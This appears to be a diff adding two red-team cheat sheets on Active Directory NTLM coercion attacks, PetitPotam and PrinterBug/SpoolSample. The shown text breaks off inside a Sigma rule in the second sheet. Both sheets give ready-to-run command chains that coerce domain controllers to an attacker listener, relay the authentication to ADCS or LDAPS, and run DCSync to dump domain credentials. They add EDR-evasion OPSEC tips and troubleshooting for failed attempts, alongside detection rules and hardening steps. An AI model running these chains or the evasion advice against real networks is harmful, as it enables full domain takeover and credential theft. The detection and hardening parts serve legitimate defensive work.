["active-directory", "adcs", "credential-access", "ntlm", "relay"] +tools: ["Impacket", "Certipy", "Responder", "OpenSSL", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #41 — PetitPotam (CVE-2021-36942).md" +--- +# 🔵 Attack #41 — PetitPotam (CVE-2021-36942) — NTLM Coercion + +*** + +## 📖 How It Works + +PetitPotam exploits the **[Encrypting File System Remote Protocol (MS-EFSR)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/)** to coerce a target (typically a DC) to authenticate to an attacker-controlled host via NTLM. This coerced authentication is then relayed to another service — most commonly **ADCS web enrollment (ESC8)** — to obtain a certificate for the coerced machine account, enabling DCSync and full domain compromise. + +PetitPotam was initially **exploitable without authentication** on unpatched DCs, making it an unauthenticated domain compromise vector when combined with ESC8. + +> [!info]+ Technical Deep-Dive — MS-EFSR RPC Call Flow +> `ris:FileList` +> 1. The attacker connects to the target's **MS-EFSR RPC endpoint** — accessible via two named pipes: `\pipe\efsrpc` (direct) and `\pipe\lsarpc` (LSASS-hosted) +> 2. The DCERPC interface UUID is `c681d488-d850-11d0-8c52-00c04fd90f7e` (MS-EFSR) +> 3. The attacker calls one of several **EFS RPC functions** (see table below) with a UNC path pointing to the attacker's listener (e.g., `\\ATTACKER_IP\share\file`) +> 4. The target DC attempts to access the specified UNC path, triggering **NTLM authentication** back to the attacker +> 5. The attacker captures this NTLM authentication and **relays it** to a target service (ADCS HTTP enrollment, LDAP, SMB, etc.) +> 6. *The relay target receives the authentication as if it came from the DC machine account — enabling certificate enrollment, RBCD configuration, or other privileged operations* + +### Exploitable EFS RPC Functions + +| OpNum | Function Name | Auth Required (Patched) | Auth Required (Unpatched) | +|---|---|---|---| +| 0 | `EfsRpcOpenFileRaw` | Yes | **No** | +| 4 | `EfsRpcDecryptFileSrv` | Yes | Yes | +| 5 | `EfsRpcQueryUsersOnFile` | Yes | Yes | +| 6 | `EfsRpcQueryRecoveryAgents` | Yes | Yes | +| 12 | `EfsRpcEncryptFileSrv` | Yes | Yes | +| 15 | `EfsRpcAddUsersToFile` | Yes | Yes | + +> [!warning]+ Patch Status and Authentication Requirements +> `fas:TriangleExclamation` +> 1. **Pre-August 2021 patch**: `EfsRpcOpenFileRaw` (OpNum 0) was callable **without authentication** — combined with ESC8, this gave unauthenticated domain compromise +> 2. **Post-August 2021 patch**: `EfsRpcOpenFileRaw` requires authentication; other functions always required auth +> 3. **Post-patch, PetitPotam still works with any domain credential** — the patch only closed the unauthenticated vector +> 4. *Even on fully patched systems, PetitPotam with any low-priv domain account + ESC8 = full domain compromise* + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Network access to DC** | MS-EFSR RPC endpoint (port 445 via `\pipe\efsrpc` or `\pipe\lsarpc`) | +| **Credentials (on patched DCs)** | Any valid domain user — unauthenticated on unpatched DCs | +| **Relay target** | ADCS web enrollment (ESC8), LDAP (if signing not enforced), SMB (if signing not enforced) | +| **Listener setup** | ntlmrelayx.py, krbrelayx, or Responder to capture/relay the coerced authentication | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [PetitPotam.py](https://github.com/topotam/PetitPotam) | Linux/Python | Python 3 | Original exploit by topotam — MS-EFSR coercion | +| [Coercer](https://github.com/p0dalirius/Coercer) | Linux/Python | ≥ 2.0 | Multi-protocol coercion tool — includes PetitPotam + many other coercion methods | +| [ntlmrelayx.py](https://github.com/fortra/impacket) | Linux | Impacket ≥ 0.10.0 | NTLM relay framework — `--adcs` flag for ESC8 relay | +| [krbrelayx](https://github.com/dirkjanm/krbrelayx) | Linux/Python | Latest | Kerberos relay; can relay to LDAP(S) with Kerberos auth | +| [Certipy](https://github.com/ly4k/Certipy) | Linux/Python | ≥ 4.0 | Authenticate with obtained certificate → DCSync | +| [Responder](https://github.com/lgandx/Responder) | Linux/Python | ≥ 3.0 | Capture NTLM hashes (for cracking instead of relay) | + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| PetitPotam coercion | **2–5 seconds** | Single RPC call | +| ntlmrelayx certificate enrollment | **5–15 seconds** | ADCS HTTP enrollment | +| Certipy auth (certificate → TGT) | **3–10 seconds** | PKINIT authentication | +| Full chain (coerce → relay → DCSync) | **30–90 seconds** | End-to-end domain compromise | + +*** + +## 💻 Full Commands + +### 🔴 PetitPotam Coercion + +```bash +# ── Unauthenticated (unpatched DCs only — pre-Aug 2021) ────────────────────── +python3 PetitPotam.py LISTENER_IP DC01.corp.local + +# ── Authenticated (works on all DCs) ───────────────────────────────────────── +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + LISTENER_IP DC01.corp.local + +# ── With Pass-the-Hash ──────────────────────────────────────────────────────── +python3 PetitPotam.py -u low_user -hashes :aabbccdd11223344 -d corp.local \ + LISTENER_IP DC01.corp.local + +# ── Specify named pipe (bypass pipe filtering) ──────────────────────────────── +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + -pipe lsarpc LISTENER_IP DC01.corp.local +# Try: efsrpc, lsarpc, samr, netlogon, lsass +``` + +### 🔴 Full Attack Chain — PetitPotam + ESC8 (Most Common) + +```bash +# ── Terminal 1: Start relay to ADCS web enrollment ──────────────────────────── +ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \ + -smb2support --adcs --template DomainController + +# ── Terminal 2: Coerce DC to authenticate to our relay ──────────────────────── +python3 PetitPotam.py ATTACKER_IP DC01.corp.local +# (or with auth: python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC01.corp.local) + +# ── Result: ntlmrelayx captures a certificate for DC01$ ────────────────────── +# Output: "Certificate is saved to DC01.corp.local.b64" + +# ── Terminal 3: Authenticate with the certificate → get TGT → DCSync ───────── +certipy auth -pfx DC01.pfx -dc-ip 10.10.10.10 +# Outputs: DC01.ccache (TGT for DC01$ machine account) + +export KRB5CCNAME=DC01.ccache +secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc +# Full domain credential dump via DCSync +``` + +### 🔴 PetitPotam + LDAPS Relay (RBCD Abuse) + +```bash +# ── If LDAP signing is NOT enforced and ADCS is not available ───────────────── + +# Terminal 1: Start LDAPS relay with delegate access +ntlmrelayx.py -t ldaps://DC02.corp.local --delegate-access -smb2support + +# Terminal 2: Coerce DC01 to authenticate +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + ATTACKER_IP DC01.corp.local + +# Result: ntlmrelayx creates a machine account and configures RBCD +# Output: "Delegation rights modified — YOURPC$ can delegate to DC01$" + +# Terminal 3: S4U2Self + S4U2Proxy to impersonate Administrator +getST.py -spn cifs/DC01.corp.local -impersonate Administrator \ + -dc-ip 10.10.10.10 corp.local/'YOURPC$':'RandomPassword' + +export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +### 🔴 Coercer (Multi-Protocol — Includes PetitPotam + More) + +```bash +# ── Scan for all available coercion methods ─────────────────────────────────── +coercer scan -u low_user -p 'Password1' -d corp.local \ + -t DC01.corp.local + +# ── Coerce via MS-EFSR specifically ────────────────────────────────────────── +coercer coerce -u low_user -p 'Password1' -d corp.local \ + -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-EFSR + +# ── Coerce via ALL available protocols ──────────────────────────────────────── +coercer coerce -u low_user -p 'Password1' -d corp.local \ + -l LISTENER_IP -t DC01.corp.local + +# ── Coerce with specific pipe ──────────────────────────────────────────────── +coercer coerce -u low_user -p 'Password1' -d corp.local \ + -l LISTENER_IP -t DC01.corp.local --filter-pipe-name efsrpc +``` + +*** + +## 🎯 OPSEC Tips + +1. **PetitPotam coercion itself is relatively quiet** — a single EFS RPC call generates minimal logs compared to brute-force attacks +2. **The relay portion is the noisy part** — NTLM relay to ADCS generates certificate enrollment events; relay to LDAP generates LDAP modification events +3. **Use `\pipe\lsarpc` instead of `\pipe\efsrpc`** — some EDR tools specifically monitor for `efsrpc` pipe access; `lsarpc` is more common and blends with normal traffic +4. **Coercer's scan mode is detectable** — it probes multiple RPC endpoints; use targeted coercion (specify protocol) instead of scanning all protocols +5. **Time the attack during business hours** — NTLM traffic is normal during working hours; off-hours coercion stands out in traffic analysis +6. **Clean up RBCD delegations** if using the LDAPS relay path — leftover `msDS-AllowedToActOnBehalfOfOtherIdentity` entries are forensic artifacts + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| PetitPotam + ESC8 (unauth) | 🟢 High | 🟢 Fast | 🟢 High | Single RPC call + HTTP relay; minimal footprint | +| PetitPotam + ESC8 (auth) | 🟢 High | 🟢 Fast | 🟢 High | Same as above with auth; still very clean | +| PetitPotam + LDAPS relay | 🟡 Medium | 🟡 Medium | 🟡 Medium | Creates machine account + RBCD entry (artifacts) | +| Coercer scan (all protocols) | 🔴 Low | 🟡 Medium | 🟢 High | Probes many RPC endpoints — noisy | +| Coercer targeted (MS-EFSR only) | 🟢 High | 🟢 Fast | 🟢 High | Same as PetitPotam with better CLI | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log (DC) | NTLM authentication from DC machine account to unexpected host (the relay target) | +| **5145** | Security Log | Network share access — `\pipe\efsrpc` or `\pipe\lsarpc` pipe access from non-admin | +| **4768** | Security Log (CA) | TGT request using certificate authentication (PKINIT) — post-relay indicator | +| **4886/4887** | CA Event Log | Certificate request received/approved for a DC machine account template | +| **4625** | Security Log | Failed NTLM authentication attempts (if relay fails) | + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — PetitPotam NTLM Coercion via MS-EFSR ────────────────────────── +title: PetitPotam NTLM Coercion (MS-EFSR Pipe Access) +id: f0d2e6b8-petitpotam-efsr-coercion +status: experimental +logsource: + product: windows + service: security +detection: + selection: + EventID: 5145 + ShareName: '\\*\IPC$' + RelativeTargetName|contains: + - 'efsrpc' + - 'lsarpc' + condition: selection +level: high +tags: + - attack.credential_access + - attack.t1187 + - cve.2021.36942 +``` + +```yaml +# ── SigmaHQ — ADCS Certificate Enrollment for Machine Account ──────────────── +title: Suspicious Certificate Enrollment for Machine Account +id: a1b2c3d4-adcs-machine-cert-enrollment +logsource: + product: windows + service: security + provider: 'Microsoft-Windows-CertificateServicesClient-AutoEnroll' +detection: + selection: + EventID: + - 4886 + - 4887 + SubjectName|contains: '$' + Template|contains: 'DomainController' + condition: selection +level: high +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected NTLM authentication tampering"** — detects NTLM relay patterns including PetitPotam-initiated coercion +> 2. **"Suspected NTLM relay attack (Exchange account)"** — broader relay detection that also catches PetitPotam chains +> 3. MDI correlates NTLM authentication from DC machine accounts to non-DC targets as suspicious +> 4. *Post-2023 MDI updates include specific PetitPotam coercion detection via MS-EFSR pipe monitoring* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"NTLM Coercion Attack Detected"** — behavioral detection for MS-EFSR-triggered NTLM authentication to external hosts +> 2. Falcon monitors outbound NTLM from DC machine accounts — any auth to a non-DC is flagged +> 3. Process-level detection for PetitPotam.py and Coercer execution on attacker machines within the network + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"Potential NTLM Coercion via MS-EFSR"** — monitors for EFS pipe access from unusual sources +> 2. Rule: **"ADCS Certificate Enrollment for Machine Account"** — detects relay-to-ADCS chain completion +> 3. Rule: **"Outbound NTLM from Domain Controller"** — network-level detection for DC-originated NTLM to non-DCs + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Named pipe access** | Event 5145 / Sysmon 17/18 | `\pipe\efsrpc` or `\pipe\lsarpc` access from attacker IP | +| **NTLM auth from DC** | Event 4624 on relay target | DC machine account authenticating to unexpected service (ADCS, LDAP) | +| **Certificate enrollment** | CA Event Log (4886/4887) | Certificate issued to DC machine account via web enrollment | +| **RBCD entry** | AD object `msDS-AllowedToActOnBehalfOfOtherIdentity` | If LDAPS relay was used — check this attribute on compromised accounts | +| **Machine account creation** | Event 4741 | If LDAPS relay created a new machine account for RBCD | +| **Network capture** | PCAP | MS-EFSR RPC call → NTLM auth → relay to ADCS/LDAP; identifiable by DCERPC UUID and UNC paths | + +*** + +> [!important]+ Windows Server Version & Patch Differences +> `ris:Windows` +> 1. **Pre-August 2021**: `EfsRpcOpenFileRaw` callable without authentication — **unauthenticated domain compromise** when paired with ESC8 +> 2. **August 2021 patch**: Closes unauthenticated vector for `EfsRpcOpenFileRaw`; other functions still require only low-priv auth +> 3. **Server 2016**: Vulnerable; patch available +> 4. **Server 2019**: Vulnerable; patch available +> 5. **Server 2022**: Shipped patched for unauth; authenticated coercion still works unless EPA is enforced on ADCS +> 6. **Server 2025**: EPA enabled by default on IIS/ADCS HTTP endpoints — blocks the ESC8 relay path out of the box; LDAPS relay may still work if LDAP channel binding is not enforced +> 7. *The definitive mitigation is enforcing Extended Protection for Authentication (EPA) on ADCS web enrollment + enforcing LDAP channel binding — NOT just patching PetitPotam* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Enable EPA on ADCS Web Enrollment (blocks ESC8 relay) ───────────────── +# On the CA server running Certificate Authority Web Enrollment: +# IIS Manager → Sites → Default Web Site → certsrv → +# Authentication → Windows Authentication → Advanced Settings → +# Extended Protection: Required +# Token Checking: Allow + +# Or via appcmd: +appcmd.exe set config "Default Web Site/certsrv" ` + /section:windowsAuthentication /extendedProtection.tokenChecking:Require + +# ── 2. Enforce LDAP signing (blocks LDAP relay) ────────────────────────────── +# GPO → Computer Configuration → Windows Settings → Security Settings → +# Local Policies → Security Options → +# "Domain controller: LDAP server signing requirements" = "Require signing" + +# Registry on DCs: +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" ` + -Name "LDAPServerIntegrity" -Value 2 -Type DWord + +# ── 3. Enforce LDAP channel binding (blocks LDAPS relay) ───────────────────── +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" ` + -Name "LdapEnforceChannelBinding" -Value 2 -Type DWord +# Value 2 = Always enforce channel binding + +# ── 4. Disable NTLM where possible ─────────────────────────────────────────── +# GPO → Computer Configuration → Windows Settings → Security Settings → +# Local Policies → Security Options → +# "Network security: Restrict NTLM: NTLM authentication in this domain" = "Deny all" +# ⚠️ Test thoroughly — many legacy apps depend on NTLM + +# ── 5. Disable unnecessary EFS RPC service ──────────────────────────────────── +# If EFS is not used, consider disabling access to the EFS pipe: +# However, there is no clean way to disable MS-EFSR without breaking EFS functionality +# Best approach: patch + EPA + LDAP signing + +# ── 6. Block outbound NTLM from Domain Controllers ─────────────────────────── +# Windows Firewall rule to prevent DCs from authenticating to workstation IPs: +New-NetFirewallRule -DisplayName "Block DC Outbound SMB/NTLM" ` + -Direction Outbound -Protocol TCP -RemotePort 445 ` + -RemoteAddress "10.10.10.0/24" -Action Block ` + -Profile Domain +# ⚠️ Exclude other DC IPs and trusted servers + +# ── 7. Remove the ADCS HTTP enrollment endpoint entirely ───────────────────── +# If web enrollment is not needed, disable it: +# Server Manager → Remove Roles → Remove "Certificate Authority Web Enrollment" +# This completely eliminates the ESC8 attack surface + +# ── 8. Apply August 2021 patch ──────────────────────────────────────────────── +# KB5005565 (Server 2019), KB5005573 (Server 2016) +# Closes the unauthenticated vector — but authenticated PetitPotam still works +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| PetitPotam returns `STATUS_ACCESS_DENIED` | DC is patched; unauthenticated access blocked | Add `-u user -p pass -d domain` for authenticated coercion | +| `Connection refused` on pipe | MS-EFSR pipe is filtered or firewalled | Try alternative pipes: `-pipe lsarpc`, `-pipe samr`, `-pipe netlogon` | +| ntlmrelayx shows `Authenticating against ldaps://... failed` | LDAP channel binding is enforced | Switch relay target to ADCS HTTP enrollment (ESC8) instead of LDAP | +| Certificate enrollment fails with `Access Denied` | Template doesn't allow machine account enrollment | Use `--template DomainController` or `--template Machine`; verify template permissions with `certipy find` | +| Coercion works but no auth received on listener | Target DC can't reach attacker IP (firewall) | Verify bidirectional connectivity on port 445; attacker IP must be routable from the DC | +| `Certipy auth` fails with `KDC_ERR_PADATA_TYPE_NOSUPP` | DC doesn't support PKINIT or certificate is invalid | Verify PKINIT is enabled on the DC; check the certificate with `openssl x509 -in cert.pem -text` | +| Relay to ADCS succeeds but cert is for wrong account | ntlmrelayx template mismatch | Specify `--template DomainController` to ensure the cert is issued for the DC machine account | +| `Coercer scan` shows no vulnerable methods | All protocols patched or filtered | Try targeted coercion with specific protocols; some newer MS-EFSR functions may still work | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Credential Access** | [T1187](https://attack.mitre.org/techniques/T1187/) | Forced Authentication | Coerce DC NTLM authentication via MS-EFSR RPC calls | Used in ransomware campaigns, red team operations | +| **Credential Access** | [T1557](https://attack.mitre.org/techniques/T1557/) | [.001 — LLMNR/NBT-NS Poisoning or MDNS](https://attack.mitre.org/techniques/T1557/001/) | Relay coerced NTLM authentication to ADCS, LDAP, or SMB targets | Chained technique | +| **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | Chain PetitPotam + ESC8 for domain escalation from any domain user | Multiple ransomware groups | + +> [!tip]+ Real-World Usage +> `fas:Lightbulb` +> 1. **PetitPotam + ESC8** is one of the most commonly exploited attack chains in modern AD pentests — nearly every environment with ADCS web enrollment enabled is vulnerable +> 2. **LockBit, BlackCat/ALPHV** ransomware groups have incorporated PetitPotam into their automated domain compromise playbooks +> 3. **CISA Alert AA21-209A** specifically warns about PetitPotam exploitation in the wild +> 4. *The combination of PetitPotam (coercion) + ESC8 (relay) represents the most impactful AD attack chain discovered since Zerologon* + +*** + +## 🔗 Attack Chain Context + +``` +[PetitPotam] ──→ NTLM Coercion → Relay → Domain Compromise + │ + ├──→ 🔗 PetitPotam + ESC8 = most common ADCS attack chain (Attack #33) + ├──→ 🔗 Also chains with: LDAP relay → RBCD, Unconstrained Delegation (Attack #15) + ├──→ 🔗 Related: PrinterBug (Attack #42) — MS-RPRN coercion (similar concept) + ├──→ 🔗 Related: NTLM Relay (Attack #7) — relay framework + ├──→ 💥 Unauthenticated on unpatched DCs (pre-Aug 2021 patches) + ├──→ 🔗 Coercer tool combines PetitPotam with DFSCoerce, PrinterBug, and more + └──→ 💀 Defeated by: patch, enable EPA on ADCS, enforce LDAP signing/channel binding, disable NTLM +``` + +*** + +> ✅ **Attack #41 — PetitPotam complete.** diff --git a/src/content/sheets/active-directory/attack-42-printerbug-spoolsample.md b/src/content/sheets/active-directory/attack-42-printerbug-spoolsample.md @@ -0,0 +1,389 @@ +--- +title: "Attack #42 — PrinterBug SpoolSample" +description: "The PrinterBug (aka SpoolSample) abuses the MS-RPRN (Print System Remote Protocol) RpcRemoteFindFirstPrinterChangeNotificationEx function to coerce a…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "delegation", "ntlm"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #42 — PrinterBug SpoolSample.md" +--- +# 🔵 Attack #42 — PrinterBug / SpoolSample — Print Spooler Coercion + +*** + +## 📖 How It Works + +The PrinterBug (aka SpoolSample) abuses the **[MS-RPRN (Print System Remote Protocol)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/)** `RpcRemoteFindFirstPrinterChangeNotificationEx` function to coerce a target machine into authenticating back to an attacker-controlled host. When combined with **Unconstrained Delegation** or **NTLM relay**, this leads to TGT theft or certificate enrollment as the target machine account. + +> [!info]+ Technical Deep-Dive — MS-RPRN Coercion Mechanism +> `ris:FileList` +> 1. The attacker connects to the target's **Print Spooler RPC endpoint** via the `\pipe\spoolss` named pipe (DCERPC interface UUID `12345678-1234-abcd-ef00-0123456789ab`) +> 2. The attacker calls `RpcRemoteFindFirstPrinterChangeNotificationEx` (OpNum 69) — this function is designed to allow a client to register for print job notifications from a remote print server +> 3. The function accepts a **notification target** parameter — the attacker specifies their own hostname/IP (e.g., `\\ATTACKER_IP`) +> 4. The Print Spooler service on the target attempts to send a notification to the specified host, triggering **NTLM authentication** (or Kerberos if the target resolves to a hostname) +> 5. If the attacker is running a listener (Responder, ntlmrelayx, Rubeus), they capture the coerced authentication +> 6. *Unlike PetitPotam, the PrinterBug has always required authentication (any domain user) — there was never an unauthenticated variant* +> 7. The coerced authentication includes the **machine account's TGT** when sent to a server with Unconstrained Delegation — this is the classic PrinterBug + UD attack + +> [!tip]+ PrinterBug vs PetitPotam — When to Use Which +> `fas:Lightbulb` +> 1. **PrinterBug**: Requires Print Spooler running; always requires auth; older technique (2018); uses MS-RPRN +> 2. **PetitPotam (Attack #41)**: Uses MS-EFSR; was unauthenticated on unpatched DCs; newer (2021); more commonly available +> 3. **Use PrinterBug when**: PetitPotam is patched/blocked AND Print Spooler is running; or when targeting Unconstrained Delegation servers +> 4. **Use PetitPotam when**: Need unauthenticated coercion (unpatched); or Print Spooler is disabled on the target +> 5. *Both achieve the same result — forcing NTLM authentication to an attacker-controlled host; the difference is which RPC protocol triggers it* + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Print Spooler running on target** | Default enabled on servers and DCs (but should be disabled on DCs per best practice) | +| **Domain credentials** | Any valid domain user (always requires authentication) | +| **Relay target or UD server** | Must be combined with relay (ESC8, LDAP) or Unconstrained Delegation to be useful | +| **Network access** | Port 445 (SMB) to target for `\pipe\spoolss` access | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [printerbug.py](https://github.com/dirkjanm/krbrelayx) | Linux/Python | Python 3 | dirkjanm's coercion script — part of krbrelayx toolkit | +| [SpoolSample.exe](https://github.com/leechristensen/SpoolSample) | Windows (.NET) | Latest | Lee Christensen's original C# PoC | +| [dementor.py](https://github.com/NotMedic/NetNTLMtoSilverTicket) | Linux/Python | Python 3 | Alternative Python implementation | +| [Coercer](https://github.com/p0dalirius/Coercer) | Linux/Python | ≥ 2.0 | Multi-protocol coercion — includes MS-RPRN | +| [rpcdump.py](https://github.com/fortra/impacket) | Linux | Impacket ≥ 0.10.0 | Check if Print Spooler RPC is accessible | +| [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | ≥ 1.1.0 | `-M spooler` module — check Spooler status | +| [ntlmrelayx.py](https://github.com/fortra/impacket) | Linux | Impacket ≥ 0.10.0 | NTLM relay for ESC8/LDAP chains | +| [Rubeus](https://github.com/GhostPack/Rubeus) | Windows (.NET) | ≥ 2.0 | TGT monitor for Unconstrained Delegation attacks | + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| Spooler check (rpcdump/NXC) | **2–5 seconds** | Quick RPC query | +| PrinterBug coercion | **2–5 seconds** | Single RPC notification call | +| TGT capture (with UD) | **5–15 seconds** | Depends on callback timing | +| Full chain (coerce → relay → DCSync) | **30–90 seconds** | Similar to PetitPotam chains | + +*** + +## 💻 Full Commands + +### 🔵 Check If Print Spooler Is Running + +```bash +# ── rpcdump.py — check for Spooler RPC endpoint ────────────────────────────── +rpcdump.py DC01.corp.local | grep -i spoolsv +# If present: "76F03F96-CDFD-44FC-A22C-64950A001209" = Spooler is running + +# ── Alternative: rpcdump with specific interface UUID ───────────────────────── +rpcdump.py DC01.corp.local | grep "12345678-1234-ABCD-EF00-0123456789AB" +# MS-RPRN interface UUID — presence confirms Spooler is accessible + +# ── NetExec spooler module ──────────────────────────────────────────────────── +nxc smb DC01.corp.local -u low_user -p 'Password1' -M spooler +# Output: [+] Spooler service enabled or [-] Spooler service disabled + +# ── Scan entire subnet for Spooler ──────────────────────────────────────────── +nxc smb 10.10.10.0/24 -u low_user -p 'Password1' -M spooler +``` + +```powershell +# ── Windows — check Spooler pipe ────────────────────────────────────────────── +ls \\DC01.corp.local\pipe\spoolss +# If accessible: Spooler is running and pipe is reachable + +# ── PowerShell — check Spooler service status ───────────────────────────────── +Get-Service -ComputerName DC01.corp.local -Name Spooler | Select-Object Status +``` + +### 🔴 PrinterBug Coercion + +```bash +# ── printerbug.py (krbrelayx) ──────────────────────────────────────────────── +printerbug.py corp.local/low_user:'Password1'@DC01.corp.local LISTENER_IP + +# ── With Pass-the-Hash ──────────────────────────────────────────────────────── +printerbug.py corp.local/low_user@DC01.corp.local -hashes :aabbccdd11223344 LISTENER_IP + +# ── dementor.py (alternative) ───────────────────────────────────────────────── +python3 dementor.py -u low_user -p 'Password1' -d corp.local \ + LISTENER_IP DC01.corp.local + +# ── Coercer (multi-protocol — MS-RPRN filter) ──────────────────────────────── +coercer coerce -u low_user -p 'Password1' -d corp.local \ + -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-RPRN +``` + +```powershell +# ── SpoolSample.exe (Windows) ───────────────────────────────────────────────── +.\SpoolSample.exe DC01.corp.local LISTENER.corp.local +# Coerces DC01 to authenticate to LISTENER.corp.local +``` + +### 🔴 Combined Attacks + +#### PrinterBug + ADCS Relay (ESC8) + +```bash +# ── Terminal 1: Start NTLM relay to ADCS web enrollment ───────────────────── +ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \ + --adcs --template DomainController -smb2support + +# ── Terminal 2: Coerce DC via PrinterBug ────────────────────────────────────── +printerbug.py corp.local/low_user:'Password1'@DC01.corp.local ATTACKER_IP + +# ── Terminal 3: Use the certificate ─────────────────────────────────────────── +certipy auth -pfx DC01.pfx -dc-ip 10.10.10.10 +export KRB5CCNAME=DC01.ccache +secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc +``` + +#### PrinterBug + Unconstrained Delegation (TGT Capture) + +```powershell +# ── Step 1: On compromised UD server — monitor for incoming TGTs ────────────── +.\Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap +# Rubeus monitors for TGTs arriving in the LSASS cache +``` + +```bash +# ── Step 2: From attacker — coerce DC to authenticate to UD server ──────────── +printerbug.py corp.local/low_user:'Password1'@DC01.corp.local UD_SERVER.corp.local +# DC01 sends a Kerberos TGT to UD_SERVER (because UD servers cache all incoming TGTs) +``` + +```powershell +# ── Step 3: On UD server — Rubeus captures DC01$'s TGT ─────────────────────── +# Output: [*] Captured TGT for DC01$@CORP.LOCAL (base64 encoded) + +# ── Step 4: Import TGT and DCSync ───────────────────────────────────────────── +.\Rubeus.exe ptt /ticket:<base64_TGT> +# Now running as DC01$ — perform DCSync: +mimikatz.exe +lsadump::dcsync /domain:corp.local /user:krbtgt +``` + +```bash +# ── Alternative: Use captured TGT from Linux ────────────────────────────────── +# Convert the base64 ticket to ccache and use secretsdump: +python3 -c "import base64; open('dc01.kirbi','wb').write(base64.b64decode('<base64_TGT>'))" +ticketConverter.py dc01.kirbi dc01.ccache +export KRB5CCNAME=dc01.ccache +secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc +``` + +*** + +## 🎯 OPSEC Tips + +1. **PrinterBug coercion is a single RPC call** — relatively quiet on the network; the Spooler notification callback is normal printer behavior +2. **The UD + TGT capture path is stealthier than relay** — no NTLM relay artifacts; just Kerberos ticket caching on the UD server +3. **Spooler checks via rpcdump are noisy** — they enumerate all RPC endpoints; use NetExec `-M spooler` for targeted checks +4. **Timing matters less than with PetitPotam** — PrinterBug traffic blends well with normal print operations during any time +5. **Clean up Rubeus processes** on the UD server after TGT capture — long-running monitors are suspicious +6. **Use hostname, not IP, for the listener** when targeting UD — Kerberos authentication (and TGT caching) requires hostname resolution + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| PrinterBug + UD (TGT capture) | 🟢 High | 🟢 Fast | 🟢 High | No relay artifacts; Kerberos only | +| PrinterBug + ESC8 relay | 🟡 Medium | 🟢 Fast | 🟢 High | NTLM relay generates some logs on CA | +| PrinterBug + LDAPS relay | 🟡 Medium | 🟡 Medium | 🟡 Medium | Creates machine account + RBCD entry | +| Coercer scan + coerce | 🔴 Low | 🟡 Medium | 🟢 High | Scanning is noisy; targeted coercion is fine | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | DC authenticating to unexpected workstation (NTLM or Kerberos Type 3 logon) | +| **Sysmon 17/18** | Sysmon | Named pipe `\\pipe\\spoolss` connection from external IP | +| **5145** | Security Log | IPC$ share access for `\pipe\spoolss` from non-admin workstation | +| **4768** | Security Log (DC) | TGT request from UD server for DC01$ (if UD path used) | + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — Print Spooler Pipe Access from Non-Print Server ──────────────── +title: Remote Print Spooler Pipe Access (PrinterBug/SpoolSample) +id: b3c4d5e6-printerbug-spoolss-access +status: experimental +logsource: + product: windows + service: security +detection: + selection: + EventID: 5145 + ShareName: '\\*\IPC$' + RelativeTargetName: 'spoolss' + filter_print_servers: + IpAddress|startswith: + - '10.10.10.20' # Replace with legit print server IPs + condition: selection and not filter_print_servers +level: medium +tags: + - attack.credential_access + - attack.t1187 +``` + +```yaml +# ── SigmaHQ — DC Authentication to Workstation (Coercion Indicator) ────────── +title: Domain Controller Authenticating to Workstation +id: a2b3c4d5-dc-auth-to-workstation +logsource: + product: windows + service: security +detection: + selection: + EventID: 4624 + LogonType: 3 + TargetUserName|endswith: '$' 